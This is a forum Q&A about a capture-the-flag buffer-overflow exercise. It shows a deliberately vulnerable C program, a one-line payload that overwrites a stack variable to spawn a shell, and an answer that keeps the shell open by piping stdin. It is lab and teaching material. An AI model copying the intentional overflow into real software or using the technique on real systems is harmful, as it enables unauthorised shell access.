atotab
atotab

Reputation: 29

Spawned shell terminates quickly after buffer overflow

Here is the source code of the application to be exploited. ch13.c:

#include <stdlib.h>
#include <stdio.h>

/*
gcc -o ch13 ch13.c -fno-stack-protector
*/


int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way !\n");

  if (check == 0xdeadbeef)
   {
     printf("Yeah dude ! You win !\n");
     system("/bin/dash");
   }
   return 0;
}

After running in the shell:

python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13

It displays buffer content and "Yeah dude! you win!" but no new shell. GDB show that a new process is started but I am unable to interact with it. Is there are way of interacting with the spawned shell so that it doesnt terminate quickly?

Upvotes: 2

Views: 4184

Answers (1)

brenns10
brenns10

Reputation: 3369

Assuming /bin/dash is a typo, and you meant /bin/bash...

You're piping input into the ch13 program. When it calls system(), the shell inherits stdin and stdout from the calling program, which means it's taking input from the same pipe. However, by the time the shell starts executing, the pipe has already been emptied of all its input, and so the shell reads EOF and immediately terminates. What you really want is to pass in that buffer overflow into stdin, and then keep putting stuff into stdin afterwards. So, something like this should work:

echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde" > magic_input
cat magic_input - | ./ch13

You may not see a bash prompt, but you should be able to type commands, hit enter, and get output.

EDIT: For future inquisitive visitors who may want to try this at home, you might want to use this updated version of the C program in the question. My version of GCC was putting the variables on the stack in a different order. Putting variables in a struct prevents GCC from reordering the variables however it pleases, so the buffer overrun should go right into the check variable as expected.

#include <stdlib.h>
#include <stdio.h>

/*
gcc -o ch13 ch13.c -fno-stack-protector
*/


int main()
{
  struct {
    char buf[40];
    int check;
  } locals = {.check = 0x04030201};

  fgets(locals.buf,45,stdin);

  printf("\n[buf]: %s\n", locals.buf);
  printf("[check] %p\n", locals.check);

  if ((locals.check != 0x04030201) && (locals.check != 0xdeadbeef))
    printf ("\nYou are on the right way !\n");

  if (locals.check == 0xdeadbeef)
   {
     printf("Yeah dude ! You win !\n");
     system("/bin/bash");
   }
   return 0;
}

Upvotes: 9

Related Questions